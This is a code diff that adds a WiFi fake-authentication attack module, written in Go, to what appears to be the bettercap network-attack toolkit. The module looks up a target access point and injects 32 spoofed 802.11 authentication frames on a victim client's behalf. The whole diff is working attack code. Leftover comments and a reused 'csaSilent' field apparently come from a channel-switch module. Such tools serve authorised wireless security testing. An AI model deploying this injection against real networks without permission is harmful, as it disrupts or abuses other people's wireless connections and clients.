add wifi fake authentication attack

modules/wifi/wifi_fake_auth.go

@@ -0,0 +1,71 @@
+package wifi
+
+import (
+	"bytes"
+	"fmt"
+	"github.com/bettercap/bettercap/network"
+	"github.com/bettercap/bettercap/packets"
+	"net"
+)
+
+
+func (mod *WiFiModule) isFakeAuthSilent() bool {
+	if err, is := mod.BoolParam("wifi.fake_auth.silent"); err != nil {
+		mod.Warning("%v", err)
+	} else {
+		mod.csaSilent = is
+	}
+	return mod.csaSilent
+}
+
+func(mod *WiFiModule)sendFakeAuthPacket(bssid,client net.HardwareAddr){
+	err,pkt:=packets.NewDot11Auth(client,bssid,0)
+	if err!=nil{
+		mod.Error("could not create authentication packet: %s", err)
+		return
+	}
+	for i:=0;i<32;i++{
+		mod.injectPacket(pkt)
+	}
+}
+
+func (mod *WiFiModule) startFakeAuth(bssid,client net.HardwareAddr) error {
+	// if not already running, temporarily enable the pcap handle
+	// for packet injection
+	if !mod.Running() {
+		if err := mod.Configure(); err != nil {
+			return err
+		}
+		defer mod.handle.Close()
+	}
+
+	var ap *network.AccessPoint = nil
+
+	for _, _ap := range mod.Session.WiFi.List() {
+		if bytes.Equal(_ap.HW, bssid) {
+			ap = _ap
+		}
+	}
+
+	if ap == nil {
+		return fmt.Errorf("%s is an unknown BSSID", bssid.String())
+	}
+
+	mod.writes.Add(1)
+	go func() {
+		defer mod.writes.Done()
+
+		if mod.Running() {
+			logger := mod.Info
+			if mod.isFakeAuthSilent() {
+				logger = mod.Debug
+			}
+			logger("fake authentication attack in AP: %s client: %s", ap.ESSID(), client.String())
+			// send the beacon frame with channel switch announce element id
+			mod.onChannel(ap.Channel, func() {
+				mod.sendFakeAuthPacket(bssid,client)
+			})
+		}
+	}()
+	return nil
+}